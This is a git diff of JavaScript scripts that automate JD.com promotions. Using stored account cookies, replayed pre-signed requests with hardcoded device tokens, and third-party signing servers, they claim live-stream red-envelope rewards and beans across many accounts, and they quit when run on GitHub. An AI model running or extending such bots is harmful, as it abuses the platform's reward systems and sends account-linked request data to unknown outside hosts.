'body=%7B%22liveId%22%3A%223008300%22%2C%22type%22%3A%22viewTask%22%2C%22authorId%22%3A%22644894%22%2C%22extra%22%3A%7B%22time%22%3A120%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=N&joycious=194&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&sign=90e14adc21c4bf31232a1ded5f4ba40e&st=1607561111999&sv=111&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function shareTask() { + let body = 'body=%7B%22liveId%22%3A%222995233%22%2C%22type%22%3A%22shareTask%22%2C%22authorId%22%3A%22682780%22%2C%22extra%22%3A%7B%22num%22%3A1%7D%7D&build=167408&client=apple&clientVersion=9.2.0&eid=eidIF3CF0112RTIyQTVGQTEtRDVCQy00Qg%3D%3D6HAJa9%2B/4Vedgo62xKQRoAb47%2Bpyu1EQs/6971aUvk0BQAsZLyQAYeid%2BPgbJ9BQoY1RFtkLCLP5OMqU&isBackground=Y&joycious=194&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=53f4d9c70c1c81f1c8769d2fe2fef0190a3f60d2&osVersion=14.2&partner=TF&rfs=0000&scope=01&screen=1242%2A2208&sign=457d557a0902f43cbdf9fb735d2bcd64&st=1607559819969&sv=110&uts=0f31TVRjBSsxGLJHVBkddxFxBqY/8qFkrfEYLL0gkhB/JVGyEYIoD8r5rLvootZziQYAUyvIPogdJpesEuOMmvlisDx6AR2SEsfp381xPoggwvq8XaMYlOnHUV66TZiSfC%2BSgcLpB2v9cy/0Z41tT%2BuLheoEwBwDDYzANkZjncUI9PDCWpCg5/i0A14XfnsUTfQHbMqa3vwsY6QtsbNsgA%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D' + return new Promise(resolve => { + $.post(taskPostUrl("liveChannelReportDataV912", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function awardTask(type="shareTask", liveId = '2942545') { + let body = {"type":type,"liveId":liveId} + return new Promise(resolve => { + $.post(taskUrl("getChannelTaskRewardToM", body), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`任务领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function sign() { + return new Promise(resolve => { + $.get(taskUrl("getChannelTaskRewardToM", {"type":"signTask","itemId":"1"}), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === "0") { + $.bean += data.sum + console.log(`签到领奖成功,获得 ${data.sum} 京豆`); + message += `任务领奖成功,获得 ${data.sum} 京豆\n` + } else { + console.log(`任务领奖失败,${data.msg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function getSign(functionId, body) { + return new Promise(async resolve => { + let data = { + functionId, + body: JSON.stringify(body), + client: "apple", + clientVersion: "10.3.0" + } + let HostArr = ['jdsign.cf', 'signer.nz.lu'] + let Host = HostArr[Math.floor((Math.random() * HostArr.length))] + let options = { + url: `https://cdn.nz.lu/ddo`, + body: JSON.stringify(data), + headers: { + Host, + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, + timeout: 30 * 1000 + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSign API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} + +function taskPostUrl(function_id, body = "") { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body, + headers: { + "Host": "api.m.jd.com", + "Content-Type": "application/x-www-form-urlencoded", + "Accept": "*/*", + "Referer": "", + "Cookie": cookie, + "Origin": "https://h5.m.jd.com", + "Content-Type": 'application/x-www-form-urlencoded', + "User-Agent": "JD4iPhone/167774 (iPhone; iOS 14.7.1; Scale/3.00)", + "Accept-Language": "zh-Hans-CN;q=1", + "Accept-Encoding": "gzip, deflate, br" + } + } +} +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&appid=h5-live&body=${encodeURIComponent(JSON.stringify(body))}&v=${new Date().getTime() + new Date().getTimezoneOffset()*60*1000 + 8*60*60*1000}&uuid=${uuid}`, + headers: { + "Host": "api.m.jd.com", + "Accept": "application/json, text/plain, */*", + 'Content-Type': 'application/x-www-form-urlencoded', + "Cookie": cookie, + "Origin": "https://cfe.m.jd.com", + "Accept-Encoding": "gzip, deflate, br", + "Referer": "https://cfe.m.jd.com/privatedomain/live-boborock/20210809/index.html", + "Accept-Language": "zh-cn", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + } + } +} +function randomString(e) { + let t = "0123456789abcdef" + if (e == 16) { + t = "0123456789abcdefghijklmnopqrstuvwxyz" + } + e = e || 32; + let a = t.length, n = ""; + for (let i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_live_redrain.js b/jd_live_redrain.js new file mode 100644 index 0000000..009b460 --- /dev/null +++ b/jd_live_redrain.js @@ -0,0 +1,356 @@ +/* +超级直播间红包雨 +更新时间:2021-06-24 +下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4515551 +脚本兼容: Quantumult X, Surge, Loon, JSBox, Node.js +==============Quantumult X============== +[task_local] +#超级直播间红包雨 +0,30 0-23/1 * * * jd_live_redrain.js, tag=超级直播间红包雨, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true +==============Loon============== +[Script] +cron "0,30 0-23/1 * * *" script-path=jd_live_redrain.js,tag=超级直播间红包雨 +================Surge=============== +超级直播间红包雨 = type=cron,cronexp="0,30 0-23/1 * * *",wake-system=1,timeout=3600,script-path=jd_live_redrain.js +===============小火箭========== +超级直播间红包雨 = type=cron,script-path=jd_live_redrain.js, cronexpr="0,30 0-23/1 * * *", timeout=3600, enable=true +*/ +const $ = new Env('超级直播间红包雨'); +let allMessage = '', id = 'RRA2cUocg5uYEyuKpWNdh4qE4NW1bN2'; +let bodyList = {"6":{"url":"https://api.m.jd.com/client.action?functionId=liveActivityV946&uuid=8888888&client=apple&clientVersion=9.4.1&st=1625294597071&sign=55a8f9c9bc715d89fb3e4443b80d8f26&sv=111","body":"body=%7B%22liveId%22%3A%224586031%22%7D"}} +let ids = {} +for (let i = 0; i < 24; i++) { + ids[i] = id; +} +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; + if (JSON.stringify(process.env).indexOf('GITHUB') > -1) process.exit(0) +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/api'; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', {"open-url": "https://bean.m.jd.com/"}); + return; + } + console.log('下一场超级直播间时间:06月25日 20:00,直播间地址:https://h5.m.jd.com/dev/3pbY8ZuCx4ML99uttZKLHC2QcAMn/live.html?id=4508223') + $.newAcids = []; + await getRedRain(); + + let nowTs = new Date().getTime() + if (!($.st <= nowTs && nowTs < $.ed)) { + $.log(`\n远程红包雨配置获取错误,尝试从本地读取配置`); + $.http.get({url: `https://purge.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json`}).then((resp) => {}).catch((e) => $.log('刷新CDN异常', e)); + let hour = (new Date().getUTCHours() + 8) % 24; + let redIds = await getRedRainIds(); + if (!redIds) redIds = await getRedRainIds('https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/redrain.json'); + $.newAcids = [...(redIds || [])]; + if ($.newAcids && $.newAcids.length) { + $.log(`本地红包雨配置获取成功,ID为:${JSON.stringify($.newAcids)}\n`) + } else { + $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + return + } + // if (ids[hour]) { + // $.activityId = ids[hour] + // $.log(`本地红包雨配置获取成功,ID为:${$.activityId}\n`) + // } else { + // $.log(`无法从本地读取配置,请检查运行时间(注:非红包雨时间执行出现此提示请忽略!!!!!!!!!!!)`) + // $.log(`非红包雨期间出现上面提示请忽略。红包雨期间会正常,此脚本提issue打死!!!!!!!!!!!)`) + // return + // } + } else { + $.log(`远程红包雨配置获取成功`) + } + for (let id of $.newAcids) { + // $.activityId = id; + if (!id) continue; + console.log(`\n今日${new Date().getHours()}点ID:${id + }\n`); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/`, {"open-url": "https://bean.m.jd.com/"}); + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + let nowTs = new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000 + // console.log(nowTs, $.startTime, $.endTime) + // await showMsg(); + if (id) await receiveRedRain(id); + } + } + } + if (allMessage) { + if ($.isNode()) await notify.sendNotify(`${$.name}`, `${allMessage}`); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) + +function showMsg() { + return new Promise(resolve => { + $.msg($.name, '', `【京东账号${$.index}】${$.nickName}\n${message}`); + resolve() + }) +} + +function getRedRain() { + let body + if (bodyList.hasOwnProperty(new Date().getDate())) { + body = bodyList[new Date().getDate()] + } else { + return + } + return new Promise(resolve => { + $.post(taskGetUrl(body.url, body.body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.data && data.data.iconArea) { + // console.log(data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery').length && data.data.iconArea.filter(vo => vo['type'] === 'anchor_darw_lottery')[0].data.lotteryId) + let act = data.data.iconArea.filter(vo => vo['type'] === "platform_red_packege_rain")[0] + if (act) { + let url = act.data.activityUrl + $.activityId = url.substr(url.indexOf("id=") + 3); + $.newAcids.push($.activityId); + $.st = act.startTime + $.ed = act.endTime + console.log($.activityId) + + console.log(`下一场红包雨开始时间:${new Date($.st)}`) + console.log(`下一场红包雨结束时间:${new Date($.ed)}`) + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } else { + console.log(`\n暂无超级直播间红包雨`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function receiveRedRain(actId) { + return new Promise(resolve => { + const body = { actId }; + $.get(taskUrl('noahRedRainLottery', body), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.subCode === '0') { + console.log(`领取成功,获得${JSON.stringify(data.lotteryResult)}`) + // message+= `领取成功,获得${JSON.stringify(data.lotteryResult)}\n` + message += `领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆` + allMessage += `京东账号${$.index}${$.nickName || $.UserName}\n领取成功,获得 ${(data.lotteryResult.jPeasList[0].quantity)}京豆${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } else if (data.subCode === '8') { + console.log(`领取失败:本场已领过`) + message += `领取失败,本场已领过`; + } else { + console.log(`异常:${JSON.stringify(data)}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskGetUrl(url, body) { + return { + url: url, + body: body, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } +} + +function taskPostUrl(function_id, body = body) { + return { + url: `https://api.m.jd.com/client.action?functionId=${function_id}`, + body: body, + headers: { + 'Host': 'api.m.jd.com', + 'content-type': 'application/x-www-form-urlencoded', + 'accept': '*/*', + 'user-agent': 'JD4iPhone/167408 (iPhone; iOS 14.2; Scale/3.00)', + 'accept-language': 'zh-Hans-JP;q=1, en-JP;q=0.9, zh-Hant-TW;q=0.8, ja-JP;q=0.7, en-US;q=0.6', + //"Cookie": cookie, + } + } +} + +function taskUrl(function_id, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${function_id}&body=${escape(JSON.stringify(body))}&client=wh5&clientVersion=1.0.0&_=${new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + 8 * 60 * 60 * 1000}`, + headers: { + "Accept": "*/*", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + "Host": "api.m.jd.com", + "Referer": `https://h5.m.jd.com/active/redrain/index.html?id=${$.activityId}&lng=0.000000&lat=0.000000&sid=&un_area=`, + "Cookie": cookie, + "User-Agent": "JD4iPhone/9.4.5 CFNetwork/1209 Darwin/20.2.0" + } + } +} + +function getRedRainIds(url = "https://raw.githubusercontent.com/gitupdate/updateTeam/master/redrain.json") { + return new Promise(async resolve => { + const options = { + url: `${url}?${new Date()}`, "timeout": 10000, headers: { + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + } + }; + if ($.isNode() && process.env.TG_PROXY_HOST && process.env.TG_PROXY_PORT) { + const tunnel = require("tunnel"); + const agent = { + https: tunnel.httpsOverHttp({ + proxy: { + host: process.env.TG_PROXY_HOST, + port: process.env.TG_PROXY_PORT * 1 + } + }) + } + Object.assign(options, { agent }) + } + $.get(options, async (err, resp, data) => { + try { + if (err) { + } else { + if (data) data = JSON.parse(data) + } + } catch (e) { + // $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000) + resolve([]); + }) +} + +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '不要在BoxJS手动复制粘贴修改cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof 